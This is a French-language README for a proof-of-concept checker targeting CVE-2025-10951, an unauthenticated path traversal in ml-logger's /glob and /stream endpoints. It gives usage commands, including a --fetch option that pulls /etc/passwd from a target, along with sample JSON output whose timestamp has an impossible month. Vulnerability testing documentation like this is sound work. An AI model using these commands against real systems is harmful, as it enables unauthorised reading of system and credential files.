
Vérificateur de preuve de concept pour CVE-2025-10951, une traversée de chemin non authentifiée dans ml-logger, validant la lecture arbitraire de fichiers via les points de terminaison /glob et /stream.
Vérificateur de preuve d'existence pour CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — une traversée de chemin non authentifiée dans geyang/ml-logger (≤ 0.10.36), affectant les fonctions log_handler / stream_handler dans ml_logger/server.py.
À utiliser uniquement contre des systèmes que vous êtes autorisé à tester.
| Endpoint | Method | Purpose |
|---|---|---|
/glob | POST | Confirme que le serveur énumère des chemins du système de fichiers en dehors du périmètre prévu de l'application |
/stream | GET | Confirme la lecture arbitraire de fichiers via une astuce de traversée par double barre oblique (//path/to/file) |
Par défaut, l'étape de preuve ne lit que /etc/hostname — une seule ligne inoffensive, présente sur pratiquement tous les hôtes Linux, jamais des données sensibles.
pip install requests
Vérification de base :
python3 check_mllogger_traversal.py http://TARGET:PORT
Écrire les résultats au format JSON (pour documentation / preuve d'engagement) :
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
Récupérer un fichier spécifique de votre choix (s'exécute uniquement si la vulnérabilité est confirmée) :
python3 check_mllogger_traversal.py http://TARGET:PORT \
--fetch /etc/passwd --output passwd.txt
Tout ensemble :
python3 check_mllogger_traversal.py http://TARGET:PORT \
--json results.json --fetch /etc/passwd --output passwd.txt
0 — vulnérabilité confirmée (totalement ou probablement)1 — non confirmé vulnérable / cible injoignable{
"target": "http://192.xxx.xxx.xxx:8081",
"timestamp": "2026-00-12T10:15:32.123456+00:00",
"cve": "CVE-2025-10951",
"glob_endpoint_confirmed": true,
"stream_endpoint_confirmed": true,
"vulnerable": true,
"likely_vulnerable": true,
"fetch": {
"remote_path": "/etc/passwd",
"local_path": "passwd.txt",
"success": true
}
}
--fetch ne s'exécute qu'après la réussite de la vérification de vulnérabilité — il ne tentera pas de récupération contre une cible non confirmée.| Flag | Description |
|---|
target | URL de base, p. ex. http://192.xxx.x.xx:8081 |
--timeout | Délai d'expiration de la requête en secondes (défaut : 8.0) |
--json FILE | Écrire les résultats structurés dans un fichier JSON |
--fetch REMOTE_PATH | Récupérer un fichier distant spécifique que vous désignez |
--output LOCAL_PATH | Nom de fichier local pour la sortie de --fetch (défaut : nom de base du chemin distant) |